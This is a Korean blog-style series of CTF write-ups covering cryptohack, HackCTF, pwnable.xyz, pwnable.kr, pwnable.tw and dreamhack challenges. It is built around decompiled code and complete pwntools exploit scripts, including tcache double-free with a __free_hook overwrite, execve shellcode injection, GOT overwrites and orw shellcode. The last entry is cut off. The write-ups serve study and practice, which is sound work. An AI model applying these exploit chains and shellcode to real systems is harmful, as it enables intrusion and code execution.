포너블은 새벽에

cryptohack.org - Salty

m0nd2y — Mon, 15 Aug 2022 11:25:44 +0900

from Crypto.Util.number import *

n = 110581795715958566206600392161360212579669637391437097703685154237017351570464767725324182051199901920318211290404777259728923614917211291562555864753005179326101890427669819834642007924406862482343614488768256951616086287044725034412802176312273081322195866046098595306261781788276570920467840172004530873767                                                                  
e = 1
ct = 44981230718212183604274785925793145442655465025264554046028251311164494127485


flag = long_to_bytes(ct)
print(flag)

e 가 1임으로 그대로 ct를 출력하면 된다.

FLAG : crypto{saltstack_fell_for_this!}

HackCTF - 훈폰정음

m0nd2y — Sun, 5 Dec 2021 11:25:12 +0900

main함수

int __cdecl main(int argc, const char **argv, const char **envp)
{
  alarm(0x3Cu);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  puts(asc_11C0);
  while ( 1 )
  {
    menu();
    switch ( (unsigned int)off_1214 )
    {
      case 1u:
        add();
        break;
      case 2u:
        edit();
        break;
      case 3u:
        delete();
        break;
      case 4u:
        check();
        break;
      case 5u:
        exit(0);
        return;
      default:
        puts(&byte_11FB);
        break;
    }
  }
}

add함수

int add()
{
  int result; // eax
  signed int v1; // [rsp+Ch] [rbp-4h]

  puts(&byte_FF6);
  result = smooth();
  v1 = result;
  while ( v1 >= 0 && v1 <= 6 )
  {
    if ( table[v1] )
      return puts(&byte_1018);
    puts(&byte_1042);
    size[v1] = smooth();
    if ( (size[v1] & 0x80000000) == 0 && (signed int)size[v1] <= 1024 )
    {
      table[v1] = malloc((signed int)size[v1]);
      if ( !table[v1] )
        return puts(&byte_107F);
      puts(&byte_1098);
      return get_read((void *)table[v1], size[v1]);
    }
    result = puts(&byte_1060);
  }
  return result;
}

delete 함수

int delete()
{
  int result; // eax
  int v1; // eax
  signed int v2; // [rsp+Ch] [rbp-4h]

  puts(&byte_FF6);
  result = smooth();
  v2 = result;
  while ( v2 >= 0 && v2 <= 6 )
  {
    if ( !table[v2] )
      return puts(&byte_1138);
    v1 = count--;
    if ( v1 )
    {
      free((void *)table[v2]);
      return puts(&byte_1157);
    }
    result = puts(&byte_1168);
  }
  return result;
}

adit 함수

int edit()
{
  int result; // eax
  int v1; // [rsp+8h] [rbp-8h]

  puts(&byte_FF6);
  result = smooth();
  v1 = result;
  if ( result >= 0 && result <= 6 )
  {
    if ( table[result] )
    {
      puts(&byte_10D8);
      if ( (unsigned int)get_read((void *)table[v1], size[v1]) )
        result = puts(&byte_1100);
      else
        result = puts(&byte_1119);
    }
    else
    {
      result = puts(&byte_10B8);
    }
  }
  return result;
}

check 함수

int check()
{
  int result; // eax

  puts(&byte_FF6);
  result = smooth();
  if ( result >= 0 && result <= 6 )
  {
    if ( table[result] )
      result = printf(&byte_119C, table[result]);
    else
      result = puts(&byte_1138);
  }
  return result;
}

위 함수들을 확인해보면 일단 전형적인 heap문제의 구조를 띄고 있다.

malloc, free, edit, show etc...

해당 문제는 처음 접한 tchche문제인데 tcache가 어떻게 돌아가는 메모리 분석을 통해서 조금 상세히 공부할 수 있었다.

해당 문제에서 주의깊게 본 부분은 delete함수였다.

free후 초기화를 진행해주지 않고, 무한하게 free가 가능하므로 이를 이용해서

tcache 를 모두 채운 후 unsortedbin으로 free되게 만들어서 libc_leak을 진행했다.
그리고 malloc_free <-- one_shot로 덮어서 ex를 진행했다.

from pwn import *

#r = process("./hunpwn", env={"LD_PRELOAD":"./libc-2.27.so"})
r = remote("ctf.j0n9hyun.xyz", 3041)
e = ELF("./hunpwn")
l = ELF("./libc-2.27.so")
context.log_level = "debug"

__malloc_hook_offset = l.sym['__malloc_hook']
__free_hook_offset = l.sym['__free_hook']
one_shot_offset = [0x4f2c5, 0x4f322, 0x10a38c]

log.info("__malloc_hook_offset = " + hex(__malloc_hook_offset))
log.info("__free_hook_offset = " + hex(__free_hook_offset))
log.info("one_shot_offset = " + str(one_shot_offset))

def add(index, size, data) :
    r.recvuntil(">> ")
    r.sendline("1")
    r.recvuntil(":\n")
    r.sendline(str(index))
    r.recvuntil(":\n")
    r.sendline(str(size))
    r.recvuntil(":\n")
    r.sendline(data)

def edit(index, data) :
    r.recvuntil(">> ")
    r.sendline("2")
    r.recvuntil(":\n")
    r.sendline(str(index))
    r.recvuntil(":\n")
    r.sendline(str(data))

def delete(index) :
    r.recvuntil(">> ")
    r.sendline("3")
    r.recvuntil(":\n")
    r.sendline(str(index))

def check(index) :
    r.recvuntil(">> ")
    r.sendline("4")
    r.recvuntil(":\n")
    r.sendline(str(index))

add(0, 0x400, "AAAA")
add(1, 0x80, "BBBB")

for i in range(8) :
    delete(0)

check(0)

#libc_leak
r.recvuntil(":")
__malloc_hook_add = u64(r.recv(6).ljust(8, "\x00"))
libc_base = __malloc_hook_add - __malloc_hook_offset - 0x70
one_gadget = libc_base + one_shot_offset[1]
__free_hook_add = libc_base + __free_hook_offset

log.info("__malloc_hook_add = " + hex(__malloc_hook_add))
log.info("libc_base = " + hex(libc_base))
log.info("one_gadget = " + hex(one_gadget))
log.info("__free_hook_add = " + hex(__free_hook_add))

#free_hook <-- one_shot
add(2, 0x80, "CCCC")
delete(2)
edit(2, p64(__free_hook_add))

add(3, 0x80, "DDDD")
add(4, 0x80, p64(one_gadget))

#excute free_hook
add(5, 0x80, "free_it")
delete(5)

r.interactive()

코드는 위와 같다.

heap익스에 대해서 점점 더 익숙해져가고 있는 것 같다.

HackCTF - Unexploitable #4

m0nd2y — Fri, 15 Oct 2021 15:49:37 +0900

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char s[16]; // [rsp+0h] [rbp-10h] BYREF

  ((void (__fastcall *)(__int64, char **, char **))init_)(a1, a2, a3);
  fgets(s, 0x2C, stdin);
  return 0LL;
}

다 풀려있었기에 shellcode를 의도한 문제라고 합리적의심을 할 수 있었다.

처음에 구상은 아래와 같이 했다

SFP를 BSS로 조작해서 shellcode 2번에 나누어서 삽입
shellcode가 있는 주소를 ret 해서 익스 진행

그런데 위와 같이 하다보니 레지스터가 꼬이는 상황이 발생했고, 적절하게 sub rsp, 0x20 을 해줘서 익스가 가능했다.

익스 코드는 아래와 같다.


#r = process("./Unexploitable_4")
r = remote("ctf.j0n9hyun.xyz", 3039)
e = ELF("./Unexploitable_4")
l = e.libc
context.log_level = "debug"
main_add = 0x00000000004006DB #after_init_main
bss_add = e.bss()+0x800 #0x601840

log.info("main_add = " + hex(main_add))
log.info("bss_add = " + hex(bss_add))


sub_rsp_0x20 = "\x48\x81\xec\x20\x00\x00\x00" #sub_rsp_0x20
shell64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" #shellcode

shellcode = sub_rsp_0x20 + shell64

shellcode1 = shellcode[:8]
shellcode2 = shellcode[8:]

#set sfp
pay = ""
pay += "A"*0x10
pay += p64(bss_add)
pay += p64(main_add)
r.sendline(pay)

#shellcode1 --> bss
pay = "A"*0x10
pay += p64(bss_add+0x28)
pay += p64(main_add)
pay += shellcode1
print(pay)
r.sendline(pay)

#shellcode2 --> bss
pay = ""
pay += shellcode2
pay = pay.ljust(0x18, "\x90")
pay += p64(bss_add+0x10)
r.sendline(pay)

r.interactive()

pwnable.xyz - SUS

m0nd2y — Thu, 30 Sep 2021 10:44:17 +0900

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup(argc, argv, envp);
  puts("SUS - Single User Storage.");
  while ( 1 )
  {
    while ( 1 )
    {
      print_menu();
      printf("> ");
      v3 = read_int32();
      if ( v3 != 1 )
        break;
      create_user();
    }
    if ( v3 <= 1 )
      break;
    if ( v3 == 2 )
    {
      print_user();
    }
    else if ( v3 == 3 )
    {
      edit_usr();
    }
    else
    {
LABEL_13:
      puts("Invalid");
    }
  }
  if ( v3 )
    goto LABEL_13;
  return 0;
}

일단 프로그램을 시켜보면

heap영역에서 익스플로잇을 하는 구조처럼 생겼다.

main함수를 분석해보면

처음 입력에 따라 분기문만 존재한다.

unsigned __int64 create_user()
{
  void *s; // [rsp+0h] [rbp-1060h] BYREF
  unsigned __int64 v2; // [rsp+1058h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  if ( !s )
  {
    s = malloc(0x20uLL);
    memset(s, 0, 0x20uLL);
  }
  printf("Name: ");
  read(0, s, 0x20uLL);
  printf("Age: ");
  read_int32();
  cur = (__int64)&s;
  return __readfsqword(0x28u) ^ v2;
}

create_user 함수의 경우

0x20사이즈를 동적할당하고
초기화시켜준다.
이름을 입력받아서 해당 부분에 넣고(bof X)
나이를 입력받아서 ??
cur 변수에 heap메모리의 주소를 넣는다.?!?!?

int print_user()
{
  int result; // eax

  result = cur;
  if ( cur )
  {
    printf("User: %s\n", *(const char **)cur);
    result = printf("Age: %d\n", *(unsigned int *)(cur + 72));
  }
  return result;
}

print_user 함수의 경우

cur주소에 있는 string을 읽어서 출력한다.

age의 경우 cur+72주소에 있는 값을 읽는다.

unsigned __int64 edit_usr()
{
  __int64 v0; // rbx
  unsigned __int64 v2; // [rsp+1018h] [rbp-18h]

  v2 = __readfsqword(0x28u);
  if ( cur )
  {
    printf("Name: ");
    read(0, *(void **)cur, 0x20uLL);
    printf("Age: ");
    v0 = cur;
    *(_DWORD *)(v0 + 72) = read_int32();
  }
  return __readfsqword(0x28u) ^ v2;
}

edit_usr함수의 경우

이름을 수정하고, age를 수정한다.

이름 수정떄도 bof가 발생하지 않고, age수정떄도 bof가 발생하지 않는다.

프로그램 내에서는 win함수를 직접적으로 호출하지는 않지만

프로그램상에는 win함수가 존재한다

int win()
{
  return system("cat flag");
}

한참 메모리를 뒤적거려보다가

.bss:0000000000602268 cur             dq ?                    ; DATA XREF: create_user+9D↑w

cur 이라는 변수는 0x0000000000602268에 위치하고 있고,

gef➤  x 0000000000602268
Invalid number "0000000000602268".
gef➤  x 0x0000000000602268
0x602268 <cur>: 0x00007ffdb5ee4910
gef➤  x 0x00007ffdb5ee4910
0x7ffdb5ee4910: 0x00000000011ca2a0
gef➤  x/20gx 0x00000000011ca2a0-0x10
0x11ca290:      0x0000000000000000      0x0000000000000031
0x11ca2a0:      0x4141414141414141      0x000000000000000a
0x11ca2b0:      0x0000000000000000      0x0000000000000000
0x11ca2c0:      0x0000000000000000      0x0000000000020d41
0x11ca2d0:      0x0000000000000000      0x0000000000000000
0x11ca2e0:      0x0000000000000000      0x0000000000000000
0x11ca2f0:      0x0000000000000000      0x0000000000000000
0x11ca300:      0x0000000000000000      0x0000000000000000
0x11ca310:      0x0000000000000000      0x0000000000000000
0x11ca320:      0x0000000000000000      0x0000000000000000
gef➤  heap chunks
Chunk(addr=0x11ca010, size=0x290, flags=PREV_INUSE)
    [0x00000000011ca010     00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................]
Chunk(addr=0x11ca2a0, size=0x30, flags=PREV_INUSE)
    [0x00000000011ca2a0     41 41 41 41 41 41 41 41 0a 00 00 00 00 00 00 00    AAAAAAAA........]
Chunk(addr=0x11ca2d0, size=0x20d40, flags=PREV_INUSE)  ←  top chunk
gef➤

해당 위치에는 heap의 chunk 주소가 들어가 있다.

edit user(name : BBBBBBBB, age : AAAAAAAA)

를 해줬더니 메모리 구조가 아래처럼 됐다.

gef➤  x/10gx 0x00007ffdb5ee4910-0x10
0x7ffdb5ee4900: 0x4141414141414141      0x0000000000400a0a
0x7ffdb5ee4910: 0x00000000011ca2a0      0x0000000000000000
0x7ffdb5ee4920: 0x0000000000000000      0x7526aba595105200
0x7ffdb5ee4930: 0x00007ffdb5ee5970      0x0000000000400b3a
0x7ffdb5ee4940: 0x0000000000400c10      0x00007fdd7ffee190

메모리를 공유해서 사용해서 다른 함수에서 사용한 메모리가 오염되는 거 같은데..

위 처럼 메모리가 짜여져 있다면 0x11ca2a0 라는 값을 특정 함수의 got으로 넣은 후에 create를 해줄 때 name을 win의 함수 주소로 넣어주면 익스가 가능 할 것 같다.

payload

from pwn import *

r = remote("svc.pwnable.xyz", 30011)
e = ELF("./challenge")
printf_got = e.got['printf']
win_add = e.sym['win']
context.log_level = "debug"

r.sendlineafter("> ", "1")
r.sendlineafter("Name: ", "AAAA")
r.sendlineafter("Age: ", "20")
r.sendlineafter("> ", "3")
r.sendlineafter("Name: ", "AAAA")
r.sendlineafter("Age: ", "B"*0x10+p64(printf_got))
r.sendlineafter("> ", "1")
r.sendlineafter("Name: ", p64(win_add))
r.sendlineafter("Age: ", "20")
r.interactive()

풀기는 했지만 뭔가 꺼림직하다.

취약점이 발생하는 원인도 잘 모르겠고, 왜 이렇게 메모리 공유? 가 일어나게 되는지 다른 롸업들 살펴보면서 공부해야겠다...

pwnable.xyz - TLSv00

m0nd2y — Wed, 29 Sep 2021 16:52:56 +0900

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  int v4; // [rsp+Ch] [rbp-4h]

  setup(argc, argv, envp);
  puts("Muahaha you thought I would never make a crypto chal?");
  generate_key(63);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        printf("> ");
        v3 = read_int32();
        if ( v3 != 2 )
          break;
        load_flag();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_12;
      printf("key len: ");
      v4 = read_int32();
      generate_key(v4);
    }
    if ( v3 == 3 )
    {
      print_flag();
    }
    else if ( v3 != 4 )
    {
LABEL_12:
      puts("Invalid");
    }
  }
}

maibn 코드는 위와 같다.

처음에 63바이트짜리 key를 생성하고,

2를 누르면 flag를 읽어서 key값과 xor 시킨다.

int load_flag()
{
  unsigned int i; // [rsp+8h] [rbp-8h]
  int fd; // [rsp+Ch] [rbp-4h]

  fd = open("/flag", 0);
  if ( fd == -1 )
  {
    puts("Can't open flag");
    exit(1);
  }
  read(fd, flag, 0x40uLL);
  for ( i = 0; i <= 0x3F; ++i )
    flag[i] ^= key[i];
  return close(fd);
}

다만 key 값이 랜덤인지라

unsigned __int64 __fastcall generate_key(int a1)
{
  int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( a1 > 0 && (unsigned int)a1 <= 0x40 )
  {
    memset(s, 0, sizeof(s));
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    read(fd, s, a1);
    for ( i = 0; i < a1; ++i )
    {
      while ( !s[i] )
        read(fd, &s[i], 1uLL);
    }
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts("Invalid key size");
  }
  return __readfsqword(0x28u) ^ v5;
}

위에서 flag를 읽었다고 해도 어떻게 복화해서 진행해야 할지는 미지수이다.

메모리를 출력할 수 있다면 key부분과 flag를 각각 출력해서 역연산 할 수도 있겠지만, 이는 조금 더 분석을 진행해 봐야 할 것 같다.

또한 3번을 누르면

__int64 print_flag()
{
  __int64 result; // rax

  puts("WARNING: NOT IMPLEMENTED.");
  result = do_comment;
  if ( !do_comment )
  {
    printf("Wanna take a survey instead? ");
    if ( getchar() == 0x79 )
      do_comment = f_do_comment;
    result = do_comment();
  }
  return result;
}

y를 추가로 입력할 시 f_do_comment가 동작하는데

unsigned __int64 f_do_comment()
{
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter comment: ");
  read(0, buf, 33uLL);
  return __readfsqword(0x28u) ^ v2;
}

이 또한 canary가 존재해서 어떻게든 사용되기는 하겠지만 그렇게 큰 영향을 미칠 수 있을까 하는 생각이다.

⚡ root@9a02e0bc40b9  /home/ctf  checksec challenge
[*] '/home/ctf/challenge'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

게다가 Full RELRO이다.

got overwrite도 불가능 하다.

int real_print_flag()
{
  return printf("%s", flag);
}

real_print_flag 란 함수가 존재해서 이를 이용하면 flag를 획득할 수 있을 것 같기도 하다.

프로그램 자체가 어렵게 돌아가는 구조가 아니라서 구동 방법이나 분석은 어느정도 진행된 것 같다.

한 가지 발견한 점은, 프로그램을 실행한 후 1. regenerate key 를 1byte로 생성 한 후 flag를 load해도 프로그램이 죽지 않고 정상적으로 동작한다.

unsigned __int64 __fastcall generate_key(int a1)
{
  int i; // [rsp+18h] [rbp-58h]
  int fd; // [rsp+1Ch] [rbp-54h]
  char s[72]; // [rsp+20h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+68h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( a1 > 0 && a1 <= 0x40 )
  {
    memset(s, 0, sizeof(s));
    fd = open("/dev/urandom", 0);
    if ( fd == -1 )
    {
      puts("Can't open /dev/urandom");
      exit(1);
    }
    read(fd, s, a1);
    for ( i = 0; i < a1; ++i )
    {
      while ( !s[i] )
        read(fd, &s[i], 1uLL);
    }
    strcpy(key, s);
    close(fd);
  }
  else
  {
    puts("Invalid key size");
  }
  return __readfsqword(0x28u) ^ v5;
}

out of bound가 나야된다고 생각했지만

코드를 살펴보면 for문제서 i < a1 이라고 정의했기에

입력한 길이만큼만 랜덤에서 뽑아오는 것 같다.

지금까지의 과정을 종합해보면 key를 재생성하면 flag를 print하기만 하면 되고, 따로 key값을 알기 위해 역연산을 진행하지 않아도 될 것이다.

그럼 어떻게 real_print_flag 함수를 호출 할 것인가?

처음에 입력하는 변수 v4를 조작하는것은 read_int32() 함수를 호출하기에 불가능 할 것 이다.

그럼 아직 활용하지 않은 부분은 print_flag 에서 f_do_comment 부분인데,

조금 더 자세히 살펴보면

__int64 print_flag()
{
  __int64 result; // rax

  puts("WARNING: NOT IMPLEMENTED.");
  result = do_comment;
  if ( !do_comment )
  {
    printf("Wanna take a survey instead? ");
    if ( getchar() == 0x79 )
      do_comment = f_do_comment;
    result = do_comment();
  }
  return result;
}

일단 print_flag()함수는 if ( !do_comment ) 조건 문에 의해서 1회만 실행 가능하다.

unsigned __int64 f_do_comment()
{
  char buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter comment: ");
  read(0, buf, 33uLL);
  return __readfsqword(0x28u) ^ v2;
}

그리고 실행되게 되면 실제로 comment 입력 창은 뜨지만 입력은 받지 않고, do_comment = f_do_comment; 가 실행되여 do_comment에 f_do_comment 주소가 들어가게 된다.

f_do_comment 함수를 유심히 살펴보던 도중

.text:0000000000000B00 real_print_flag proc near
.text:0000000000000B00 ; __unwind {
.text:0000000000000B00                 push    rbp
.text:0000000000000B01                 mov     rbp, rsp
.text:0000000000000B04                 lea     rsi, flag
.text:0000000000000B0B                 lea     rdi, format     ; "%s"
.text:0000000000000B12                 mov     eax, 0
.text:0000000000000B17                 call    printf
.text:0000000000000B1C                 nop
.text:0000000000000B1D                 pop     rbp
.text:0000000000000B1E                 retn
.text:0000000000000B1E ; } // starts at B00
.text:0000000000000B1E real_print_flag endp
.text:0000000000000B1E
.text:0000000000000B1F
.text:0000000000000B1F ; =============== S U B R O U T I N E =======================================
.text:0000000000000B1F
.text:0000000000000B1F ; Attributes: bp-based frame
.text:0000000000000B1F
.text:0000000000000B1F                 public f_do_comment
.text:0000000000000B1F f_do_comment    proc near               ; DATA XREF: print_flag+39↓o
.text:0000000000000B1F
.text:0000000000000B1F var_34          = dword ptr -34h
.text:0000000000000B1F buf             = byte ptr -30h
.text:0000000000000B1F var_8           = qword ptr -8
.text:0000000000000B1F
.text:0000000000000B1F ; __unwind {
.text:0000000000000B1F                 push    rbp
.text:0000000000000B20                 mov     rbp, rsp
.text:0000000000000B23                 sub     rsp, 40h
.text:0000000000000B27                 mov     rax, fs:28h
.text:0000000000000B30                 mov     [rbp+var_8], rax
.text:0000000000000B34                 xor     eax, eax
.text:0000000000000B36                 lea     rdi, aEnterComment ; "Enter comment: "
.text:0000000000000B3D                 mov     eax, 0
.text:0000000000000B42                 call    printf
.text:0000000000000B47                 mov     [rbp+var_34], 21h ; '!'
.text:0000000000000B4E                 mov     eax, [rbp+var_34]
.text:0000000000000B51                 movsxd  rdx, eax        ; nbytes
.text:0000000000000B54                 lea     rax, [rbp+buf]
.text:0000000000000B58                 mov     rsi, rax        ; buf
.text:0000000000000B5B                 mov     edi, 0          ; fd
.text:0000000000000B60                 call    read
.text:0000000000000B65                 nop
.text:0000000000000B66                 mov     rax, [rbp+var_8]
.text:0000000000000B6A                 xor     rax, fs:28h
.text:0000000000000B73                 jz      short locret_B7A
.text:0000000000000B75                 call    __stack_chk_fail
.text:0000000000000B7A ; ---------------------------------------------------------------------------

real_print_flag 함수의 위치가 너무 예쁘게 뒷자리가 00으로 떨어지는 것을 발견했고, 00을 제외한 나머지 값이 f_do_comment와 일치하는것을 발견했다.

.bss:0000000000202040 key             db 40h dup(?)           ; DATA XREF: generate_key+E4↑o
.bss:0000000000202040                                         ; load_flag+73↑o
.bss:0000000000202080                 public do_comment
.bss:0000000000202080 ; __int64 (*do_comment)(void)
.bss:0000000000202080 do_comment      dq ?                    ; DATA XREF: print_flag+10↑o

key는 최대 0x40개 까지 생성이 가능하지만,.

strcpy(key, s);

끝에 off by one이 일어나기에 f_do_comment값을 real_print_flag로 변조가 가능하다.

그 후에 정상적으로 real_print_flag를 호출할 수 있는 상황이 되었기에

key를 어떻게 복호화 해야 할 것인가가 관건인데

이 또한 strcpy를 활용해서 모든수 xor 0x0 은 원래 수이기에 한바이트씩 flag를 획득할 수 있다.

pay를 작성해보면 아래와 같다.

from pwn import *

r = remote("svc.pwnable.xyz", 30006)
#context.log_level = "debug"
flag = "F"

def generate_key(size) :
    r.sendlineafter("> ", "1")
    r.sendlineafter("len: ", str(size))

def load_flag() :
    r.sendlineafter("> ", "2")

def print_flag(chr) :
    r.sendlineafter("> ", "3")
    r.sendlineafter("? ", chr)

print_flag("y")
generate_key(64)
load_flag()

for i in range(1, 0x3f) :
    generate_key(str(i))
    load_flag()
    print_flag("A")
    flag += r.recv(0x40)[i]
    print(flag)

FLAG라고 생각되는 값을 따냈는데 인증이 안된다.

터미널을 여러개 돌려보니 값이 다 다르다

여러개를 조합해본 결과

이 FLAG였다.. 컴퓨터는 거짓말을 하지 않는다고 맨날 하는데 왜 이런 결과가 나오는진 항상 이상하다..

예전에 redvelvet인가 그 문제도 뭔가 flag값에서 오류가 있었던걸로 기억나는데 이러한 약간의 오류? 계산 문제들은 왜 발생할까..?

암튼 재미있는 문제였다

pwnable.kr - simple login

m0nd2y — Thu, 23 Sep 2021 00:41:01 +0900

main문은 아래와 같다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-3Ch]
  int v5; // [esp+18h] [ebp-28h] BYREF
  char input[30]; // [esp+1Eh] [ebp-22h] BYREF
  unsigned int base64_decoded; // [esp+3Ch] [ebp-4h]

  memset(input, 0, sizeof(input));
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  printf("Authenticate : ", v4);
  _isoc99_scanf("%30s", input);
  memset(decoded_string, 0, 0xCu);
  v5 = 0;
  base64_decoded = Base64Decode(input, &v5);
  if ( base64_decoded > 0xC )
  {
    puts("Wrong Length");
  }
  else
  {
    memcpy(decoded_string, v5, base64_decoded);
    if ( auth(base64_decoded) == 1 )
      correct();
  }
  return 0;
}

분석해보면 12byte를 base64로 넣게 되면, 해당 값을 auth 내에서 비교하는 것 같지만,

_BOOL4 __cdecl auth(int length)
{
  char v2[8]; // [esp+14h] [ebp-14h] BYREF
  char *s2; // [esp+1Ch] [ebp-Ch]
  char v4[8]; // [esp+20h] [ebp-8h] BYREF

  memcpy(v4, decoded_string, length);
  s2 = calc_md5(v2, 12);
  printf("hash : %s\n", s2);
  return strcmp("f87cd601aa7fedca99018a8be88eda34", s2) == 0;
}

디코드 해본결과 해당값을 찾을 수 없었다.

하지만 해당 함수에서 memcpy에서 v4(8byte)보다 더 많이 넣을 수 있었고,

(12byte)까지 가능, sfp를 조작해서 흐름제어가 가능하다.

payload는 아래와 같다.

from pwn import *
import base64

r = remote('pwnable.kr', 9003)

shell = 0x08049284
decode_string = 0x0811EB40
pay = ""
pay += "\x90\x90\x90\x90"
pay += p32(shell)
pay += p32(decode_string)

r.sendline(base64.encodestring(pay))
r.interactive()

pwnable.xyz - note

m0nd2y — Sat, 11 Sep 2021 10:52:15 +0900

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setup(argc, argv, envp);
  puts("Note taking 101.");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        print_menu();
        v3 = read_int32();
        if ( v3 != 1 )
          break;
        edit_note();
      }
      if ( v3 != 2 )
        break;
      edit_desc();
    }
    if ( !v3 )
      break;
    puts("Invalid");
  }
  return 0;
}

edit note

void edit_note()
{
  int v0; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  printf("Note len? ");
  v0 = read_int32();
  buf = malloc(v0);
  printf("note: ");
  read(0, buf, v0);
  strncpy(s, buf, v0);
  free(buf);
}

edit_desc

ssize_t edit_desc()
{
  if ( !buf )
    buf = malloc(32uLL);
  printf("desc: ");
  return read(0, buf, 32uLL);
}

exploit 과정은 아래와 같다.

s 변수의 overflow 를 이용해서 buf 를 read_got으로 덮음
edit_desc를 이용해서 read_got 을 win 함수로 덮음
read 를 재 호출해서 exploit함

from pwn import * 

#r = process("./challenge")
r = remote("svc.pwnable.xyz", 30016)
e = ELF("./challenge")
l = e.libc
context.log_level = "debug"

win_add = e.sym['win']
read_got = e.got['read']

pay = ""
pay += "A"*0x20
pay += p64(read_got)

r.sendafter("> ", "1")
r.sendafter("Note len? ", str(len(pay)))
r.sendafter("note: ", pay)
r.sendafter("> ", "2")
r.sendafter("desc: ", p64(win_add))
r.sendafter("> ", "1")
print(r.recv())

pwnable.tw - orw

m0nd2y — Tue, 31 Aug 2021 17:44:15 +0900

쉘코딩 하면 덴다.

from pwn import *

r = remote("chall.pwnable.tw", 10001)
e = ELF("orw")

context.log_level = "debug"
context(arch='i386', os='linux')

pay = ""
pay += asm(shellcraft.open('/home/orw/flag'))
pay += asm(shellcraft.read('eax', e.bss()+0x100, 100))
pay += asm(shellcraft.write(1, e.bss()+0x100, 100))
r.recv()

r.sendline(pay)

r.interactive()

dreamhack.io - file-csp-1

m0nd2y — Tue, 24 Aug 2021 15:39:22 +0900

제공된 app.py의 코드는 아래와 같습니다.

#!/usr/bin/env python3
import os
import shutil
from time import sleep
from urllib.parse import quote

from flask import Flask, request, render_template, redirect, make_response
from selenium import webdriver

#from flag import FLAG

APP = Flask(__name__)

@APP.route('/')
def index():
    return render_template('index.html')

@APP.route('/test', methods=['GET', 'POST'])
def test_csp():
    global CSP
    if request.method == 'POST':
        csp = request.form.get('csp')
        # start bot..
        try:
            options = webdriver.ChromeOptions()
            for _ in ['headless', 'window-size=1920x1080', 'disable-gpu', 'no-sandbox', 'disable-dev-shm-usage']:
                options.add_argument(_)
            driver = webdriver.Chrome('/chromedriver', options=options)
            driver.implicitly_wait(3)
            driver.set_page_load_timeout(3)
            driver.get(f'http://localhost:8000/live?csp={quote(csp)}')
            try:
                a = driver.execute_script('return a()');
            except:
                a = 'error'
            try:
                b = driver.execute_script('return b()');
            except:
                b = 'error'
            try:
                c = driver.execute_script('return c()');
            except Exception as e:
                c = 'error'
                c = e
            try:
                d = driver.execute_script('return $(document)');
            except:
                d = 'error'

            if a == 'error' and b == 'error' and c == 'c' and d != 'error':
                return FLAG

            return f'Try again!, {a}, {b}, {c}, {d}'
        except Exception as e:
            return f'An error occured!, {e}'

    return render_template('check.html')

@APP.route('/live', methods=['GET'])
def live_csp():
    csp = request.args.get('csp', '')
    resp = make_response(render_template('csp.html'))
    resp.headers.set('Content-Security-Policy', csp)
    return resp

if __name__ == '__main__':
    APP.run(host='0.0.0.0', port=8000, debug=True, threaded=True)

아래와 같은 경우에 FLAG를 획득할 수 있으니

if a == 'error' and b == 'error' and c == 'c' and d != 'error':
     return FLAG

a와b를 벤해주고, c와d를 허용해주면 될 것 같습니다.

test페이지에 hint로 표시되어있던

script-src 'unsafe-inline'

구문을 넣게 되면

a: block me!
b: block me!
c: allow me!

위와 같은 text를 얻을 수 있고,

console에 에러가 난 부분을 따라가 보면

<!doctype html>
<html>
    <head>
    <!-- block me -->
    <script>
        function a() { return 'a'; }
        document.write('a: block me!<br>');
    </script>
    <!-- block me -->
     <script nonce="i_am_super_random">
        function b() { return 'b'; }
        document.write('b: block me!<br>');
    </script>
    <!-- allow me -->
    <script
  src="https://code.jquery.com/jquery-3.4.1.slim.min.js"
  integrity="sha256-pasqAKBDmFT4eHoN2ndd6lN370kFiGUFyTiUHWhU7k8="
  crossorigin="anonymous"></script>
    <!-- allow me -->
     <script nonce="i_am_super_random">
        function c() { return 'c'; }
        document.write('c: allow me!<br>');
        try { $(document); document.write('jquery: allow me!<br>'); } catch (e) {  }
    </script>
    </head>
</html>

위와 같은 코드를 볼 수 있습니다.

csp.html에 있는 코드인데, d는

https://code.jquery.com/jquery-3.4.1.slim.min.js

을 허용해주면 될 것 같고,

c는 c자체를 허용해 줘야할 것 같습니다.

존재하는 값들의 dafult값을 찾기 위해

https://simjaejin.tistory.com/31

해당 사이트에 있는

script-src deafult-src

명령어를 test_page에 넣으니,

4개의 오류 로그를 모두 얻을 수 잇었고, hash값또한 얻을 수있었습니다.

a의 hash
